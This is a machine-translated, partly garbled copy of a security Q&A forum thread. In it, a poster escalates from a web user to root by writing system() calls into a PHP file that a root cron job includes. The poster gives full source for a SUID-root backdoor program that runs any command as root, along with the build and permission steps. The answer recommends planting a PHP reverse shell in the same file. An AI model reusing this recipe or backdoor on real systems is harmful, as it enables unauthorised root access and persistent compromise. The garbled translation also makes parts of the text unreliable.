在web服务器上,每15分钟有一个cron作业作为root运行:
php cli-script.php
(cli的意思是"Command Line i面“,因此只能从命令行访问)
直接修改cli-script.php脚本是不可能的。但是它包含另一个PHP脚本db.php,它可以作为www用户直接修改:
cli-script.php:
include "db.php";
...我的开发技巧:
db.php --添加system()命令,因为db.php从cron作业的脚本继承root's特权,但可以编辑为www-user (db.php为Writable、Readable和E可作为www用户编辑)。通过system()运行所有初始命令backdoor,以便更容易地进一步利用。我们需要将UID设置为零(root),以便能够使用bash/sh (利用后未使用SUID)这样的shell(另一种方法是使用例如perl/python脚本)db.php
...
system("...");
...后门。c:
#include
#include
#include
#include
int main(int argc, char *argv[]) {
if (argc == 2) {
setuid(0); // otherwise /bin/sh would use real UID
system(argv[1]);
} else {
printf("1 argument expected");
}
return 0;
}详细步骤:
www-user:gcc backdoor.c -o backdoorroot:chmod +s backdoor && chown root backdoorroot:mv backdoor /bin/backdoor的形式放入D38目录www-user):backdoor "whoami" => root问题:是否有更简单的方法来利用这种漏洞,而我只是让一切复杂化了?
发布于 2019-08-08 15:51:28
有没有更简单的方法来利用这样的漏洞?
简单地将一个PHP反向外壳集成到db.php文件中就更简单了;一旦它运行并连接到您的侦听器,您就可以以root的形式获得类似shell的访问权限。
https://security.stackexchange.com/questions/214957
复制相似问题